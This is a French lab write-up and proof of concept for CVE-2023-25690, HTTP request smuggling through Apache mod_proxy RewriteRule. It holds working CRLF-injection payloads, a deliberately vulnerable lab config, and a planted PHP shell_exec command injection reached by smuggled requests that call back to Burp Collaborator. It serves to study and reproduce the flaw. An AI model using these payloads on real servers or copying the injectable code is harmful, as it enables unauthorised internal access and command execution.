
CVE 2023 25690 Preuve de concept - configuration vulnérable de mod_proxy sur les versions 2.4.0 - 2.4.55 du serveur HTTP Apache conduit à une vulnérabilité de HTTP Request Smuggling.
Certaines configurations mod_proxy sur les versions 2.4.0 à 2.4.55 du serveur HTTP Apache permettent une attaque de smuggling de requête HTTP. Les configurations sont affectées lorsque mod_proxy est activé avec une forme de RewriteRule ou ProxyPassMatch dans laquelle un motif non spécifique correspond à une partie des données de la cible de requête (URL) fournies par l'utilisateur, puis est réinséré dans la cible de requête proxyfiée à l'aide d'une substitution de variable. Par exemple, quelque chose comme :
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Le splitting/smuggling de requête pourrait entraîner un contournement des contrôles d'accès dans le serveur proxy, le proxy vers des URL non intentionnelles vers des serveurs d'origine existants, et un empoisonnement du cache. Il est recommandé aux utilisateurs de mettre à jour au moins vers la version 2.4.56 du serveur HTTP Apache.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Avec RewriteEngine on inclus dans la configuration Apache, le moteur de réécriture d'URL est activé. La réécriture d'URL est une technique qui permet aux serveurs web de modifier dynamiquement les URL demandées par le navigateur d'un client vers une URL différente avant de servir le contenu.
Par exemple, supposons que nous ayons la structure d'URL suivante pour une boutique en ligne :
https://example-shop.com/categories/1
En supposant la directive RewriteRule suivante dans un fichier de configuration Apache :
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Lorsqu'un utilisateur demande l'URL https://example-shop.com/categories/1, la RewriteRule correspond à l'URL et capture la valeur 1 en utilisant l'expression régulière ^/categories/(.*). La règle réécrit ensuite l'URL en http://example-shop.com:8080/categories?id=1 en ajoutant la valeur capturée à l'URL réécrite en tant que paramètre de requête id.
Étant donné que le drapeau [P] existe dans la règle, Apache traitera l'URL réécrite comme une requête proxy et la transmettra au serveur cible à http://example-shop.com:8080/categories avec le paramètre de requête id défini sur 1. Le serveur cible traitera alors la requête et renverra la réponse à Apache, qui la transmettra au client.
En résumé, la directive RewriteRule avec le drapeau [P] est utilisée pour réécrire les URL et les proxyfier vers un serveur différent. Dans ce cas, la règle correspond aux URL commençant par /categories/ et ajoute la valeur capturée en tant que paramètre de requête id à l'URL réécrite. Apache transmet ensuite la requête au serveur cible, qui traite la requête et renvoie la réponse.
Enfin, concernant ProxyPassReverse /categories/ http://example-shop.com:8080/, cette ligne remplace simplement le domaine et le chemin du serveur backend par le domaine et le chemin du serveur proxy, afin que le client puisse correctement suivre les liens et accéder au contenu du serveur backend proxyfié comme s'il était servi directement par le serveur proxy.

Pour simuler la vulnérabilité dans Apache, nous utiliserons la version httpd 2.4.55. De plus, l'ensemble du laboratoire sera dockerisé pour une meilleure facilité de configuration et de reproductibilité.
La structure des fichiers du laboratoire sera la suivante :
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configuration finale de httpd.conf est structurée comme ci-dessous :
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Charger les modules nécessaires
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Utilisez la commande docker-compose.exe up --build pour démarrer le laboratoire.
Dans cette section, j'expliquerai comment une injection CRLF peut conduire à un smuggling interne de requête HTTP, permettant à un attaquant d'obtenir un accès non autorisé à des ressources internes qui seraient autrement inaccessibles.
Selon la description de l'avis, httpd <=2.4.55 est vulnérable au splitting de réponse HTTP, également connu sous le nom d'injection CRLF.
L'injection CRLF se produit lorsque :
Ce qui, dans notre cas, peut être confirmé en passant le préfixe CRLF suivant dans l'URL :
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
En ajoutant le préfixe ci-dessus à l'URL, la requête finale résultante sera la suivante :
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Suite à la requête, le serveur traitera les données et renverra un code de réponse 200 indiquant une vulnérabilité à l'injection CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Plus d'informations concernant le splitting de requête HTTP peuvent être trouvées ici : https://owasp.org/www-community/attacks/HTTP_Response_Splitting
À l'aide de l'injection d'en-tête, nous allons effectuer le smuggling interne de requête HTTP.
Commençons par le préfixe suivant :
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
et la requête suivante :
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
En appliquant la règle de réécriture, la requête subit une transformation dans le format suivant :
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
où l'URL encodée est décodée en syntaxe HTTP valide, ce qui amène le backend à traiter les données décodées comme une seconde requête.
Supposons que notre application interne contienne le code secret suivant :
#Fonctionnalité secrète interne
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
avec le préfixe suivant, nous pouvons envoyer la seconde requête vers la fonctionnalité cachée :
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
et récupérer la requête sur Burp Collaborator :

Correctifs :
L'impact de cette vulnérabilité est qu'elle permet aux attaquants de cibler et d'accéder à des applications internes qui sont censées être cachées par le proxy inverse, ce qui peut entraîner un accès non autorisé, une fuite de données ou une exploitation ultérieure.